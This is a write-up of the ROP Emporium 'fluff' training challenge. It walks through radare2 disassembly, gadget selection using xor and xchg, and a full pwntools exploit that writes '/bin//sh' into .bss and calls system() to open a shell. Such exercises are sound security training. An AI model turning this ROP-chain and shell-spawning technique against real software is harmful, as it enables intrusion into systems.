ROP Emporium - fluff
Fluff was a challenge that is actually challenging, up to the point where you have a realisation and from there on it’s fairly straightforward.
Exploring the binary⌗
Nothing special going on still with this binary in terms of canaries or the likes:
[*] '/home/jasper/ropemporium/fluff/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
And again usefulFunction()
contains a reference to system()
:
[0x00400650]> afl
0x004005a0 3 26 sym._init
0x004005d0 1 6 sym.imp.puts
0x004005e0 1 6 sym.imp.system
0x004005f0 1 6 sym.imp.printf
0x00400600 1 6 sym.imp.memset
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.setvbuf
0x00400640 1 6 sub.__gmon_start_400640
0x00400650 1 41 entry0
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 sym.__do_global_dtors_aux
0x00400720 4 38 -> 35 entry.init0
0x00400746 1 111 sym.main
0x004007b5 1 82 sym.pwnme
0x00400807 1 17 sym.usefulFunction
0x00400860 4 101 sym.__libc_csu_init
0x004008d0 1 2 sym.__libc_csu_fini
0x004008d4 1 9 sym._fini
[0x00400650]> s sym.usefulFunction
[0x00400807]> pdf
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 55 push rbp
| 0x00400808 4889e5 mov rbp, rsp
| 0x0040080b bf5b094000 mov edi, str.bin_ls ; 0x40095b ; "/bin/ls"
| 0x00400810 e8cbfdffff call sym.imp.system ; int system(const char *string)
| 0x00400815 90 nop
| 0x00400816 5d pop rbp
\ 0x00400817 c3 ret
[0x00400807]>
This binary contains a new “function”, questionableGadgets
which as it turns out we can seek to with r2. It’s not a function but r2 detects the label:
[0x00400820]> s loc.questionableGadgets
[0x00400820]> pdf
p: Cannot find function at 0x00400820
[0x00400820]> pd
;-- questionableGadgets:
0x00400820 415f pop r15
0x00400822 4d31db xor r11, r11
0x00400825 415e pop r14
0x00400827 bf50106000 mov edi, loc.__data_start ; 0x601050
0x0040082c c3 ret
0x0040082d 415e pop r14
0x0040082f 4d31e3 xor r11, r12
0x00400832 415c pop r12
0x00400834 41bd60406000 mov r13d, 0x604060 ; '`@`'
0x0040083a c3 ret
0x0040083b bf50106000 mov edi, loc.__data_start ; 0x601050
0x00400840 4d87d3 xchg r11, r10
0x00400843 415f pop r15
0x00400845 41bb50206000 mov r11d, 0x602050 ; 'P `'
0x0040084b c3 ret
0x0040084c 415f pop r15
0x0040084e 4d891a mov qword [r10], r11
0x00400851 415d pop r13
0x00400853 415c pop r12
0x00400855 453022 xor byte [r10], r12b
0x00400858 c3 ret
0x00400859 0f1f80000000. nop dword [rax]
Inspecting these questionable gadgets however, there is one instruction which will certainly come of use:
mov qword [r10], r11
Let’s see if there is anything else available:
[0x00400650]> /R/ mov [qd]word
0x0040084e 4d891a mov qword [r10], r11
0x00400851 415d pop r13
0x00400853 415c pop r12
0x00400855 453022 xor byte [r10], r12b
0x00400858 c3 ret
0x0040084f 891a mov dword [rdx], ebx
0x00400851 415d pop r13
0x00400853 415c pop r12
0x00400855 453022 xor byte [r10], r12b
0x00400858 c3 ret
[0x00400650]>
So either use 0x0040084e
with full 8-byte moves or 0x0040084f
with 4-byte moves. What follows after that is the same so let’s see if we can find a way to populate r10 and r11.
A simple pop
into either of these registers cannot be found, but an xchg
is present:
0x00400840 4d87d3 xchg r11, r10
0x00400843 415f pop r15
0x00400845 41bb50206000 mov r11d, 0x602050
0x0040084b c3 ret
However we still need a way to get something into either of them.
Laying out the gadgets⌗
After some puzzling I realised that the xor
instruction might be key here. xor
is often used a fast method to clear a register:
xor regA, regA
If we look at the truth table for XOR:
If we look at the middle two rows we have a property that can be used to transport a value from one register to another. Taking this into account the xor
at 0x0040082f
becomes interesting:
[0x00400820]> s 0x0040082f
[0x0040082f]> pd 4
0x0040082f 4d31e3 xor r11, r12
0x00400832 415c pop r12
0x00400834 41bd60406000 mov r13d, 0x604060 ; '`@`'
0x0040083a c3 ret
[0x0040082f]>
If we can finally locate a gadget that allows direct control over r12 we then write into r11 and by extension r10 too. The shortest gadget we can find is 0x00400832
:
[0x0040082f]> /R pop r12
0x0040082d 415e pop r14
0x0040082f 4d31e3 xor r11, r12
0x00400832 415c pop r12
0x00400834 41bd60406000 mov r13d, 0x604060
0x0040083a c3 ret
Let’s take a step back to evaluate what we have so far and how it can be used to code the final ROP chain:
- write the command (argument for
system()
) to.bss
through r10 and r11- setting anything in r10 requires setting r11
- setting r11 requires us to clear it first
- then
pop
data into r12 - then
xor
r12 with r11
- setting anything in r10 requires setting r11
- pop the
.bss
address into rdi - call
system()
through the PLT
Exploit⌗
And this approach works as expected:
[+] Starting local process './fluff': pid 23646
[DEBUG] Received 0x68 bytes:
'fluff by ROP Emporium\n'
'64bits\n'
'\n'
'You know changing these strings means I have to rewrite my solutions...\n'
'> '
[DEBUG] Sent 0xd9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 22 08 40 00 00 00 00 00 │AAAA│AAAA│"·@·│····│
00000030 00 00 00 00 00 00 00 00 32 08 40 00 00 00 00 00 │····│····│2·@·│····│
00000040 80 10 60 00 00 00 00 00 2f 08 40 00 00 00 00 00 │··`·│····│/·@·│····│
00000050 00 00 00 00 00 00 00 00 40 08 40 00 00 00 00 00 │····│····│@·@·│····│
00000060 00 00 00 00 00 00 00 00 22 08 40 00 00 00 00 00 │····│····│"·@·│····│
00000070 00 00 00 00 00 00 00 00 32 08 40 00 00 00 00 00 │····│····│2·@·│····│
00000080 2f 62 69 6e 2f 2f 73 68 2f 08 40 00 00 00 00 00 │/bin│//sh│/·@·│····│
00000090 00 00 00 00 00 00 00 00 4e 08 40 00 00 00 00 00 │····│····│N·@·│····│
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000b0 c3 08 40 00 00 00 00 00 80 10 60 00 00 00 00 00 │··@·│····│··`·│····│
000000c0 b9 05 40 00 00 00 00 00 b9 05 40 00 00 00 00 00 │··@·│····│··@·│····│
000000d0 e0 05 40 00 00 00 00 00 0a │··@·│····│·│
000000d9
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
'cat flag.txt\n'
[DEBUG] Received 0x21 bytes:
'ROPE{a_placeholder_32byte_flag!}\n'
ROPE{a_placeholder_32byte_flag!}
$
The final exploit makes it clear that careful register usage and tracking what goes where is paramount in complex chains like these. You don’t want accidentally overwrite data you painstakingly wrote into a register. That’s why I think it’s helpful to write a short description in the functions as to what registers the gadgets affect:
#!/usr/bin/env python2
import argparse
from pwn import *
def clear_r11():
# Gadget:
# 0x00400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;
#
# zeroes r11
# also affects r14, edi
chain = p64(0x400820)
chain += p64(0x0)
return chain
def set_r11(data):
# Gadgets:
# 0x0040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret;
# 0x00400832: pop r12; mov r13d, 0x604060; ret;
#
# set r11 to `data`
# also affects r13
chain = clear_r11()
chain += p64(0x400832)
chain += data
chain += p64(0x40082f)
chain += p64(0x0)
return chain
def set_r10(data):
# Gadget
# 0x00400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
#
# set r10 to `data`; trashes r11.
# also affects edi and r15
chain = set_r11(data)
chain += p64(0x400840)
chain += p64(0x0)
return chain
def write_mem(address, data):
# Gadget
# 0x0040084e: mov qword [r10], r11; pop r13; pop r12; xor byte [r10], r12b; ret;
#
# Write 'data' to 'address'
# also affects r12 (must be zero for the xor with r10 to leave it untouched), r13
chain = set_r10(address)
chain += set_r11(data)
chain += p64(0x40084e)
chain += p64(0x0)
chain += p64(0x0)
return chain
def exploit():
p = process('./fluff')
p.recvuntil('> ')
# Gadgets
pop_rdi = p64(0x4008c3)
nop = p64(0x4005b9)
# Functions (and PLT entries)
system_plt = p64(0x4005e0)
bss = p64(0x601080)
# Prepare the command in a format that we can write into the provided address (.bss)
cmd = p64(int(enhex('/bin//sh'[::-1]), 16))
payload = 'A' * 40
payload += write_mem(bss, cmd)
payload += pop_rdi
payload += bss
payload += nop
payload += nop
payload += system_plt
#raw_input()
p.sendline(payload)
p.interactive()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--arch', '-a',
help='Binary architecture', default='amd64')
parser.add_argument('--os', '-O',
help='Operating system', default='linux')
parser.add_argument('--debug', '-d',
help='Enable debug output', default=False,
action='store_true')
args = parser.parse_args()
context(os=args.os, arch=args.arch)
if args.debug:
context.log_level = 'debug'
exploit()
if __name__ == '__main__':
main()